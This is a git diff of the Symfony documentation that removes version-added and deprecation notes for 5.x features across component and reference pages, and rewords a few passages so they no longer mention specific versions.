 reference/constraints/Url.rst                 |   4 -
 reference/constraints/Uuid.rst                |   8 --
 reference/dic_tags.rst                        |  26 +---
 reference/forms/types/choice.rst              |   5 -
 reference/forms/types/color.rst               |   4 -
 reference/forms/types/integer.rst             |   6 -
 reference/forms/types/language.rst            |   4 -
 reference/forms/types/money.rst               |   4 -
 .../forms/types/options/choice_filter.rst.inc |   4 -
 .../options/extra_fields_message.rst.inc      |   4 -
 .../forms/types/options/label_html.rst.inc    |   4 -
 .../forms/types/options/priority.rst.inc      |   4 -
 .../forms/types/options/rounding_mode.rst.inc |   6 -
 reference/forms/types/percent.rst             |   8 --
 reference/forms/types/ulid.rst                |   4 -
 reference/forms/types/uuid.rst                |   4 -
 reference/twig_reference.rst                  |  20 ---
 routing.rst                                   |  35 +----
 security.rst                                  |  33 +----
 security/access_control.rst                   |   4 -
 security/authenticator_manager.rst            |  19 +--
 security/csrf.rst                             |   4 -
 security/custom_authentication_provider.rst   |   4 -
 security/impersonating_user.rst               |   5 -
 security/json_login_setup.rst                 |   2 -
 security/login_link.rst                       |   4 -
 security/remember_me.rst                      |   8 --
 security/user_checkers.rst                    |   4 -
 security/user_provider.rst                    |  11 --
 security/voters.rst                           |   4 -
 serializer.rst                                |   4 -
 service_container.rst                         |   6 -
 service_container/alias_private.rst           |   7 -
 service_container/autowiring.rst              |   8 --
 service_container/calls.rst                   |   6 -
 service_container/configurators.rst           |   1 -
 service_container/factories.rst               |   1 -
 service_container/injection_types.rst         |   1 -
 service_container/optional_dependencies.rst   |   1 -
 service_container/parent_services.rst         |   1 -
 service_container/service_decoration.rst      |   6 -
 .../service_subscribers_locators.rst          |   1 -
 session.rst                                   |  78 -----------
 session/database.rst                          |   5 -
 templates.rst                                 |   4 -
 testing.rst                                   |  19 ---
 translation.rst                               |  14 --
 translation/debug.rst                         |   9 +-
 translation/lint.rst                          |   8 --
 validation.rst                                |   4 -
 validation/custom_constraint.rst              |  10 --
 validation/sequence_provider.rst              |   4 -
 workflow.rst                                  |  34 +----
 workflow/dumping-workflows.rst                |   4 -
 154 files changed, 63 insertions(+), 1560 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 4928c79a6f9..51d3e61e2b7 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -368,7 +368,7 @@ Use the ``auto`` Password Hasher
 
 The :ref:`auto password hasher <reference-security-encoder-auto>` automatically
 selects the best possible encoder/hasher depending on your PHP installation.
-Starting from Symfony 5.3, the default auto hasher is ``bcrypt``.
+Currently, the default auto hasher is ``bcrypt``.
 
 Use Voters to Implement Fine-grained Security Restrictions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/cache.rst b/cache.rst
index 632f5f4905f..6025593c386 100644
--- a/cache.rst
+++ b/cache.rst
@@ -107,10 +107,6 @@ The Cache component comes with a series of adapters pre-configured:
 * :doc:`cache.adapter.redis </components/cache/adapters/redis_adapter>`
 * :ref:`cache.adapter.redis_tag_aware <redis-tag-aware-adapter>` (Redis adapter optimized to work with tags)
 
-.. versionadded:: 5.2
-
-    ``cache.adapter.redis_tag_aware`` has been introduced in Symfony 5.2.
-
 Some of these adapters could be configured via shortcuts. Using these shortcuts
 will create pools with service IDs that follow the pattern ``cache.[type]``.
 
@@ -725,11 +721,6 @@ Clear all caches everywhere:
 Encrypting the Cache
 --------------------
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`
-    class was introduced in Symfony 5.1.
-
 To encrypt the cache using ``libsodium``, you can use the
 :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`.
 
diff --git a/components/asset.rst b/components/asset.rst
index 5044ef2dab9..6cf0264dd3d 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -179,10 +179,6 @@ with the :doc:`HttpClient component </http_client>`::
     $manifestUrl = 'https://cdn.example.com/rev-manifest.json';
     $package = new Package(new RemoteJsonManifestVersionStrategy($manifestUrl, $httpClient));
 
-.. versionadded:: 5.1
-
-    The ``RemoteJsonManifestVersionStrategy`` was introduced in Symfony 5.1.
-
 Custom Version Strategies
 .........................
 
diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 475c84b9365..b93697f7bb9 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -90,10 +90,6 @@ convert the request parameters into a JSON string and set the needed HTTP header
     // this encodes parameters as JSON and sets the required CONTENT_TYPE and HTTP_ACCEPT headers
     $crawler = $client->jsonRequest('GET', '/', ['some_parameter' => 'some_value']);
 
-.. versionadded:: 5.3
-
-    The ``jsonRequest()`` method was introduced in Symfony 5.3.
-
 The :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest` method,
 which defines the same arguments as the ``request()`` method, is a shortcut to
 make AJAX requests::
@@ -178,10 +174,6 @@ provides access to the form properties (e.g. ``$form->getUri()``,
 Custom Header Handling
 ~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``getHeaders()`` method was introduced in Symfony 5.2.
-
 The optional HTTP headers passed to the ``request()`` method follows the FastCGI
 request format (uppercase, underscores instead of dashes and prefixed with ``HTTP_``).
 Before saving those headers to the request, they are lower-cased, with ``HTTP_``
diff --git a/components/cache/adapters/array_cache_adapter.rst b/components/cache/adapters/array_cache_adapter.rst
index c7b06f40753..baa7f840590 100644
--- a/components/cache/adapters/array_cache_adapter.rst
+++ b/components/cache/adapters/array_cache_adapter.rst
@@ -30,7 +30,3 @@ method::
         // is reached, cache follows the LRU model (least recently used items are deleted)
         $maxItems = 0
     );
-
-.. versionadded:: 5.1
-
-    The ``maxLifetime`` and ``maxItems`` options were introduced in Symfony 5.1.
diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 7043a7c3e95..2ebb42c5f9f 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -7,10 +7,6 @@
 Couchbase Cache Adapter
 =======================
 
-.. versionadded:: 5.1
-
-    The CouchbaseBucketAdapter was introduced in Symfony 5.1.
-
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
 instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
 :ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's
diff --git a/components/config/definition.rst b/components/config/definition.rst
index dfe9f8e166a..bc57336391d 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -435,13 +435,6 @@ The following example shows these methods in practice::
 Deprecating the Option
 ----------------------
 
-.. versionadded:: 5.1
-
-    The signature of the ``setDeprecated()`` method changed from
-    ``setDeprecated(?string $message)`` to
-    ``setDeprecated(string $package, string $version, ?string $message)``
-    in Symfony 5.1.
-
 You can deprecate options using the
 :method:`Symfony\\Component\\Config\\Definition\\Builder\\NodeDefinition::setDeprecated`
 method::
diff --git a/components/console/helpers/cursor.rst b/components/console/helpers/cursor.rst
index da450925fc3..deffbef9be9 100644
--- a/components/console/helpers/cursor.rst
+++ b/components/console/helpers/cursor.rst
@@ -4,11 +4,6 @@
 Cursor Helper
 =============
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\Console\\Cursor` class was introduced
-    in Symfony 5.1.
-
 The :class:`Symfony\\Component\\Console\\Cursor` allows you to change the
 cursor position in a console command. This allows you to write on any position
 of the output:
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 96ed044d0bc..b1ae67dfd7f 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -117,10 +117,6 @@ from a predefined list::
         // ... do something with the color
     }
 
-.. versionadded:: 5.2
-
-    Support for using PHP objects as choice values was introduced in Symfony 5.2.
-
 The option which should be selected by default is provided with the third
 argument of the constructor. The default is ``null``, which means that no
 option is the default one.
@@ -242,11 +238,6 @@ You can also specify if you want to not trim the answer by setting it directly w
 Accept Multiline Answers
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``setMultiline()`` and ``isMultiline()`` methods were introduced in
-    Symfony 5.2.
-
 By default, the question helper stops reading user input when it receives a newline
 character (i.e., when the user hits ``ENTER`` once). However, you may specify that
 the response to a question should allow multiline answers by passing ``true`` to
diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 5e1735ce1a4..ae16799c18c 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -265,10 +265,6 @@ Here is a full list of things you can customize:
 
     This method can also be used to override a built-in style.
 
-.. versionadded:: 5.2
-
-    The option to style table cells was introduced in Symfony 5.2.
-
 In addition to the built-in table styles, you can also apply different styles
 to each table cell via :class:`Symfony\\Component\\Console\\Helper\\TableCellStyle`::
 
diff --git a/components/console/single_command_tool.rst b/components/console/single_command_tool.rst
index 500d679d1e1..d4e36d55492 100644
--- a/components/console/single_command_tool.rst
+++ b/components/console/single_command_tool.rst
@@ -7,11 +7,6 @@ Building a single Command Application
 When building a command line tool, you may not need to provide several commands.
 In such case, having to pass the command name each time is tedious.
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\Console\\SingleCommandApplication` class was
-    introduced in Symfony 5.1.
-
 Fortunately, it is possible to remove this need by declaring a single command
 application::
 
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index b303e96d484..91aacc91b01 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -299,12 +299,10 @@ config files:
             $services = $configurator->services();
 
             $services->set('mailer', 'Mailer')
-                // the param() method was introduced in Symfony 5.2.
                 ->args([param('mailer.transport')])
             ;
 
             $services->set('newsletter_manager', 'NewsletterManager')
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->call('setMailer', [service('mailer')])
             ;
         };
diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 8df1b8c8f67..4a3eba6610b 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -192,10 +192,6 @@ Get all the child or ancestor nodes::
     $crawler->filter('body')->children();
     $crawler->filter('body > p')->ancestors();
 
-.. versionadded:: 5.3
-
-    The ``ancestors()`` method was introduced in Symfony 5.3.
-
 Get all the direct child nodes matching a CSS selector::
 
     $crawler->filter('body')->children('p.lorem');
@@ -633,10 +629,6 @@ the whole form or specific field(s)::
 Resolving a URI
 ~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\DomCrawler\\UriResolver` helper class was added in Symfony 5.1.
-
 The :class:`Symfony\\Component\\DomCrawler\\UriResolver` class takes an URI
 (relative, absolute, fragment, etc.) and turns it into an absolute URI against
 another given base URI::
diff --git a/components/filesystem.rst b/components/filesystem.rst
index 447c95f7ff5..aa7cef95894 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -287,10 +287,6 @@ exception on failure::
     // returns a path like : /tmp/prefix_wyjgtF.png
     $filesystem->tempnam('/tmp', 'prefix_', '.png');
 
-.. versionadded:: 5.1
-
-    The option to set a suffix in  ``tempnam()`` was introduced in Symfony 5.1.
-
 ``dumpFile``
 ~~~~~~~~~~~~
 
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 9fa9ab6e33c..9553f417eda 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -198,10 +198,6 @@ If the request body is a JSON string, it can be accessed using
 
     $data = $request->toArray();
 
-.. versionadded:: 5.2
-
-    The ``toArray()`` method was introduced in Symfony 5.2.
-
 Identifying a Request
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -288,10 +284,6 @@ this complexity and defines some methods for the most common tasks::
     HeaderUtils::parseQuery('foo[bar.baz]=qux');
     // => ['foo' => ['bar.baz' => 'qux']]
 
-.. versionadded:: 5.2
-
-    The ``parseQuery()`` method was introduced in Symfony 5.2.
-
 Accessing ``Accept-*`` Headers Data
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -475,10 +467,6 @@ a new object with the modified property::
         ->withDomain('.example.com')
         ->withSecure(true);
 
-.. versionadded:: 5.1
-
-    The ``with*()`` methods were introduced in Symfony 5.1.
-
 Managing the HTTP Cache
 ~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -523,11 +511,6 @@ call::
         'etag'             => 'abcdef',
     ]);
 
-.. versionadded:: 5.1
-
-    The ``must_revalidate``, ``no_cache``, ``no_store``, ``no_transform`` and
-    ``proxy_revalidate`` directives were introduced in Symfony 5.1.
-
 To check if the Response validators (``ETag``, ``Last-Modified``) match a
 conditional value specified in the client Request, use the
 :method:`Symfony\\Component\\HttpFoundation\\Response::isNotModified`
@@ -766,11 +749,6 @@ Symfony offers two methods to interact with this preference:
 * :method:`Symfony\\Component\\HttpFoundation\\Request::preferSafeContent`;
 * :method:`Symfony\\Component\\HttpFoundation\\Response::setContentSafe`;
 
-.. versionadded:: 5.1
-
-    The ``preferSafeContent()`` and ``setContentSafe()`` methods were introduced
-    in Symfony 5.1.
-
 The following example shows how to detect if the user agent prefers "safe" content::
 
     if ($request->preferSafeContent()) {
diff --git a/components/http_foundation/sessions.rst b/components/http_foundation/sessions.rst
index 5756a38fc58..d6d32501966 100644
--- a/components/http_foundation/sessions.rst
+++ b/components/http_foundation/sessions.rst
@@ -166,14 +166,6 @@ and "Remember Me" login settings or other user based state information.
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag`
     This is the standard default implementation.
 
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`
-    This implementation allows for attributes to be stored in a structured namespace.
-
-    .. deprecated:: 5.3
-
-        The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
-        If you need this feature, you will have to implement the class yourself.
-
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface`
 has the API
 
@@ -242,20 +234,6 @@ So any processing of this might quickly get ugly, even adding a token to the arr
     $tokens['c'] = $value;
     $session->set('tokens', $tokens);
 
-.. deprecated:: 5.3
-
-    The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
-    If you need this feature, you will have to implement the class yourself.
-
-With structured namespacing, the key can be translated to the array
-structure like this using a namespace character (which defaults to ``/``)::
-
-    // ...
-    use Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag;
-
-    $session = new Session(new NativeSessionStorage(), new NamespacedAttributeBag());
-    $session->set('tokens/c', $value);
-
 Flash Messages
 ~~~~~~~~~~~~~~
 
diff --git a/components/intl.rst b/components/intl.rst
index 217b9618bc2..304b0143bc6 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -250,10 +250,6 @@ can change if the number is used in cash transactions or in other scenarios
     $fractionDigits = Currencies::getFractionDigits('SEK');         // returns: 2
     $cashFractionDigits = Currencies::getCashFractionDigits('SEK'); // returns: 0
 
-.. versionadded:: 5.3
-
-    The ``getCashFractionDigits()`` method was introduced in Symfony 5.3.
-
 Some currencies require to round numbers to the nearest increment of some value
 (e.g. 5 cents). This increment might be different if numbers are formatted for
 cash transactions or other scenarios (e.g. accounting)::
@@ -268,10 +264,6 @@ cash transactions or other scenarios (e.g. accounting)::
     $roundingIncrement = Currencies::getRoundingIncrement('CAD');         // returns: 0
     $cashRoundingIncrement = Currencies::getCashRoundingIncrement('CAD'); // returns: 5
 
-.. versionadded:: 5.3
-
-    The ``getCashRoundingIncrement()`` method was introduced in Symfony 5.3.
-
 All methods (except for ``getFractionDigits()``, ``getCashFractionDigits()``,
 ``getRoundingIncrement()`` and ``getCashRoundingIncrement()``) accept the
 translation locale as the last, optional parameter, which defaults to the
diff --git a/components/ldap.rst b/components/ldap.rst
index 08caf52b3e8..21ef7a8bcfb 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -160,11 +160,6 @@ delete existing ones::
     // Removing an existing entry
     $entryManager->remove(new Entry('cn=Test User,dc=symfony,dc=com'));
 
-.. versionadded:: 5.3
-
-    The option to make attribute names case-insensitive in ``getAttribute()``
-    and ``hasAttribute()`` was introduced in Symfony 5.3.
-
 Batch Updating
 ______________
 
diff --git a/components/lock.rst b/components/lock.rst
index 118c7015771..12e4aed8c83 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -123,14 +123,9 @@ they can be decorated with the ``RetryTillSaveStore`` class::
 When the provided store does not implement the
 :class:`Symfony\\Component\\Lock\\BlockingStoreInterface` interface, the
 ``Lock`` class will retry to acquire the lock in a non-blocking way until the
-lock is acquired.
-
-.. deprecated:: 5.2
-
-    As of Symfony 5.2, you don't need to use the ``RetryTillSaveStore`` class
-    anymore. The ``Lock`` class now provides the default logic to acquire locks
-    in blocking mode when the store does not implement the
-    ``BlockingStoreInterface`` interface.
+lock is acquired. However, the ``Lock`` class also provides the default logic to
+acquire locks in blocking mode when the store does not implement the
+``BlockingStoreInterface`` interface.
 
 Expiring Locks
 --------------
@@ -242,11 +237,6 @@ or until ``Lock::release()`` is called.
 Shared Locks
 ------------
 
-.. versionadded:: 5.2
-
-    Shared locks (and the associated ``acquireRead()`` method and
-    ``SharedLockStoreInterface``) were introduced in Symfony 5.2.
-
 A shared or `readers–writer lock`_ is a synchronization primitive that allows
 concurrent access for read-only operations, while write operations require
 exclusive access. This means that multiple threads can read the data in parallel
@@ -410,10 +400,6 @@ support blocking, and expects a TTL to avoid stalled locks::
 MongoDbStore
 ~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The ``MongoDbStore`` was introduced in Symfony 5.1.
-
 The MongoDbStore saves locks on a MongoDB server ``>=2.2``, it requires a
 ``\MongoDB\Collection`` or ``\MongoDB\Client`` from `mongodb/mongodb`_ or a
 `MongoDB Connection String`_.
@@ -510,10 +496,6 @@ locks::
 In opposite to the ``PdoStore``, the ``PostgreSqlStore`` does not need a table to
 store locks and does not expire.
 
-.. versionadded:: 5.2
-
-    The ``PostgreSqlStore`` was introduced in Symfony 5.2.
-
 .. _lock-store-redis:
 
 RedisStore
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 5b32a612a51..0be9639814d 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -720,10 +720,6 @@ In same way, parent options can access to the nested options as normal arrays::
 Prototype Options
 ~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.3
-
-    Prototype options were introduced in Symfony 5.3.
-
 There are situations where you will have to resolve and validate a set of
 options that may repeat many times within another option. Let's imagine a
 ``connections`` option that will accept an array of database connections
@@ -769,13 +765,6 @@ connections.
 Deprecating the Option
 ~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The signature of the ``setDeprecated()`` method changed from
-    ``setDeprecated(string $option, ?string $message)`` to
-    ``setDeprecated(string $option, string $package, string $version, $message)``
-    in Symfony 5.1.
-
 Once an option is outdated or you decided not to maintain it anymore, you can
 deprecate it using the :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setDeprecated`
 method::
@@ -870,10 +859,6 @@ method::
         }
     }
 
-.. versionadded:: 5.1
-
-    The ``define()`` and ``info()`` methods were introduced in Symfony 5.1.
-
 Performance Tweaks
 ~~~~~~~~~~~~~~~~~~
 
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index adde598b1ec..bfbab0afdaf 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -313,11 +313,6 @@ Then, you can run the following command to use that file and ignore those deprec
 
     $ SYMFONY_DEPRECATIONS_HELPER='baselineFile=./tests/allowed.json' ./vendor/bin/simple-phpunit
 
-.. versionadded:: 5.2
-
-    The ``baselineFile`` and ``generateBaseline`` options were introduced in
-    Symfony 5.2.
-
 Disabling the Verbose Output
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -329,10 +324,6 @@ It's also possible to change verbosity per deprecation type. For example, using
 ``quiet[]=indirect&quiet[]=other`` will hide details for deprecations of types
 "indirect" and "other".
 
-.. versionadded:: 5.1
-
-    The ``quiet`` option was introduced in Symfony 5.1.
-
 Disabling the Deprecation Helper
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -375,20 +366,12 @@ the compiling and warming up of the container:
 
     $ php bin/console debug:container --deprecations
 
-.. versionadded:: 5.1
-
-    The ``--deprecations`` option was introduced in Symfony 5.1.
-
 Log Deprecations
 ~~~~~~~~~~~~~~~~
 
 For turning the verbose output off and write it to a log file instead you can use
 ``SYMFONY_DEPRECATIONS_HELPER='logFile=/path/deprecations.log'``.
 
-.. versionadded:: 5.3
-
-    The ``logFile`` option was introduced in Symfony 5.3.
-
 Write Assertions about Deprecations
 -----------------------------------
 
@@ -424,11 +407,6 @@ times (order matters)::
         }
     }
 
-.. deprecated:: 5.1
-
-    Symfony versions previous to 5.1 also included a ``@expectedDeprecation``
-    annotation to test deprecations, but it was deprecated in favor of the method.
-
 Display the Full Stack Trace
 ----------------------------
 
@@ -935,11 +913,6 @@ If you have installed the bridge through Composer, you can run it by calling e.g
     of PHPUnit to be considered. This is useful when testing a framework that does
     not support the latest version(s) of PHPUnit.
 
-.. versionadded:: 5.2
-
-    The ``SYMFONY_MAX_PHPUNIT_VERSION`` env variable was introduced in
-    Symfony 5.2.
-
 .. tip::
 
     If you still need to use ``prophecy`` (but not ``symfony/yaml``),
@@ -954,11 +927,6 @@ If you have installed the bridge through Composer, you can run it by calling e.g
     env variable. This is specially useful for installing PHPUnit plugins without
     having to add them to your main ``composer.json`` file.
 
-.. versionadded:: 5.3
-
-    The ``SYMFONY_PHPUNIT_REQUIRE`` env variable was introduced in
-    Symfony 5.3.
-
 Code Coverage Listener
 ----------------------
 
diff --git a/components/process.rst b/components/process.rst
index 1182b1c32a1..f396c9760f7 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -105,10 +105,6 @@ with a non-zero code)::
 Configuring Process Options
 ---------------------------
 
-.. versionadded:: 5.2
-
-    The feature to configure process options was introduced in Symfony 5.2.
-
 Symfony uses the PHP :phpfunction:`proc_open` function to run the processes.
 You can configure the options passed to the ``other_options`` argument of
 ``proc_open()`` using the ``setOptions()`` method::
@@ -452,10 +448,6 @@ check regularly::
 
     You can get the process start time using the ``getStartTime()`` method.
 
-    .. versionadded:: 5.1
-
-        The ``getStartTime()`` method was introduced in Symfony 5.1.
-
 .. _reference-process-signal:
 
 Process Idle Timeout
diff --git a/components/property_access.rst b/components/property_access.rst
index c8b674293a1..0a474f061a4 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -215,10 +215,10 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
 
     var_dump($propertyAccessor->getValue($person, 'Wouter')); // [...]
 
-.. versionadded:: 5.2
+.. note::
 
-    The magic ``__get()`` method can be disabled since in Symfony 5.2.
-    see `Enable other Features`_.
+    The ``__get()`` method support is enabled by default.
+    See `Enable other Features`_ if you want to disable it.
 
 .. _components-property-access-magic-call:
 
@@ -356,10 +356,10 @@ see `Enable other Features`_::
 
     var_dump($person->getWouter()); // [...]
 
-.. versionadded:: 5.2
+.. note::
 
-    The magic ``__set()`` method can be disabled since in Symfony 5.2.
-    see `Enable other Features`_.
+    The ``__set()`` method support is enabled by default.
+    See `Enable other Features`_ if you want to disable it.
 
 Writing to Array Properties
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/components/property_info.rst b/components/property_info.rst
index 5a4e62b6cd2..0e50679c366 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -441,10 +441,6 @@ If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be
 checked but you will get only the properties considered by the Serializer
 Component (notably the ``@Ignore`` annotation is taken into account).
 
-.. versionadded:: 5.2
-
-    Support for the ``null`` value in ``serializer_groups`` was introduced in Symfony 5.2. 
-
 DoctrineExtractor
 ~~~~~~~~~~~~~~~~~
 
diff --git a/components/runtime.rst b/components/runtime.rst
index e716ec6eb38..345d8f8cbc5 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -9,10 +9,6 @@ The Runtime Component
     to make sure the application can run with runtimes like PHP-FPM, ReactPHP,
     Swoole, etc. without any changes.
 
-.. versionadded:: 5.3
-
-    The Runtime component was introduced in Symfony 5.3.
-
 Installation
 ------------
 
@@ -362,12 +358,6 @@ logic could be versioned as a part of a normal package. If the application
 author decides to use this component, the package maintainer of the Runtime
 class will have more control and can fix bugs and add features.
 
-.. note::
-
-    Before Symfony 5.3, the Symfony bootstrap logic was part of a Flex recipe.
-    Since recipes are rarely updated by users, bug patches would rarely be
-    installed.
-
 The Runtime component is designed to be totally generic and able to run any
 application outside of the global state in 6 steps:
 
diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 9cca9f18d9f..629012a748c 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -130,8 +130,6 @@ password was valid::
     use Symfony\Component\Security\Core\User\InMemoryUserProvider;
     use Symfony\Component\Security\Core\User\UserChecker;
 
-    // The 'InMemoryUser' class was introduced in Symfony 5.3.
-    // In previous versions it was called 'User'
     $userProvider = new InMemoryUserProvider(
         [
             'admin' => [
diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index ffc4edc278a..bc5906a5342 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -54,10 +54,6 @@ recognizes several strategies:
 ``priority``
     grants or denies access by the first voter that does not abstain;
 
-    .. versionadded:: 5.1
-
-        The ``priority`` version strategy was introduced in Symfony 5.1.
-
 Usage of the available options in detail::
 
     use Symfony\Component\Security\Core\Authorization\AccessDecisionManager;
@@ -117,11 +113,6 @@ It also supports the attributes ``IS_ANONYMOUS``, ``IS_REMEMBERED``,
 ``IS_IMPERSONATOR`` to grant access based on a specific state of
 authentication.
 
-.. versionadded:: 5.1
-
-    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR``
-    attributes were introduced in Symfony 5.1.
-
 ::
 
     use Symfony\Component\Security\Core\Authentication\AuthenticationTrustResolver;
diff --git a/components/security/secure_tools.rst b/components/security/secure_tools.rst
index a9d6e0fec3a..47c17e09380 100644
--- a/components/security/secure_tools.rst
+++ b/components/security/secure_tools.rst
@@ -7,9 +7,9 @@ also use them if you want to solve the problem they address.
 
 .. note::
 
-    The functions described in this article were introduced in PHP 5.6 or 7.
-    For older PHP versions, a polyfill is provided by the
-    `Symfony Polyfill Component`_.
+    The functions described in this article are available in modern PHP versions.
+    If your project uses a legacy PHP version, you can use them thanks to some
+    of the polyfills provided by the `Symfony Polyfill Component`_.
 
 Comparing Strings
 ~~~~~~~~~~~~~~~~~
diff --git a/components/semaphore.rst b/components/semaphore.rst
index ebae3df89e8..82d97c27977 100644
--- a/components/semaphore.rst
+++ b/components/semaphore.rst
@@ -8,10 +8,6 @@ The Semaphore Component
     The Semaphore Component manages `semaphores`_, a mechanism to provide
     exclusive access to a shared resource.
 
-.. versionadded:: 5.2
-
-    The Semaphore Component was introduced in Symfony 5.2.
-
 Installation
 ------------
 
diff --git a/components/serializer.rst b/components/serializer.rst
index 9c8b73a04a1..78fbdf9284e 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -899,14 +899,6 @@ The Serializer component provides several built-in normalizers:
     Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
     or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
 
-.. versionadded:: 5.2
-
-    The ``UidNormalizer`` was introduced in Symfony 5.2.
-
-.. versionadded:: 5.3
-
-    The ``UidNormalizer`` normalization formats were introduced in Symfony 5.3.
-
 .. _component-serializer-encoders:
 
 Encoders
@@ -1004,10 +996,6 @@ Option                  Description                                            D
 ``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data   ``false``
 ======================= =====================================================  ==========================
 
-.. versionadded:: 5.3
-
-    The ``csv_end_of_line`` option was introduced in Symfony 5.3.
-
 The ``XmlEncoder``
 ~~~~~~~~~~~~~~~~~~
 
diff --git a/components/string.rst b/components/string.rst
index 48f17f0b3e9..1c9d4245076 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -8,10 +8,6 @@ The String Component
     The String component provides a single object-oriented API to work with
     three "unit systems" of strings: bytes, code points and grapheme clusters.
 
-.. versionadded:: 5.0
-
-    The String component was introduced in Symfony 5.0.
-
 Installation
 ------------
 
@@ -129,10 +125,6 @@ to make your code more concise::
     // creates a UnicodeString object
     $foo = s('अनुच्छेद');
 
-.. versionadded:: 5.1
-
-    The ``s()`` function was introduced in Symfony 5.1.
-
 There are also some specialized constructors::
 
     // ByteString can create a random string of the given length
@@ -146,10 +138,6 @@ There are also some specialized constructors::
     $foo = UnicodeString::fromCodePoints(0x928, 0x92E, 0x938, 0x94D, 0x924, 0x947);
     // equivalent to: $foo = new UnicodeString('नमस्ते');
 
-.. versionadded:: 5.1
-
-    The second argument of ``ByteString::fromRandom()`` was introduced in Symfony 5.1.
-
 Methods to Transform String Objects
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -354,10 +342,6 @@ Methods to Search and Replace
         return '['.$match[0].']';
     }); // result = '[1][2][3]'
 
-.. versionadded:: 5.1
-
-    The ``containsAny()`` method was introduced in Symfony 5.1.
-
 Methods to Join, Split, Truncate and Reverse
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -388,10 +372,6 @@ Methods to Join, Split, Truncate and Reverse
     // even if that generates a string longer than the desired length
     u('Lorem Ipsum')->truncate(8, '…', false); // 'Lorem Ipsum'
 
-.. versionadded:: 5.1
-
-    The third argument of ``truncate()`` was introduced in Symfony 5.1.
-
 ::
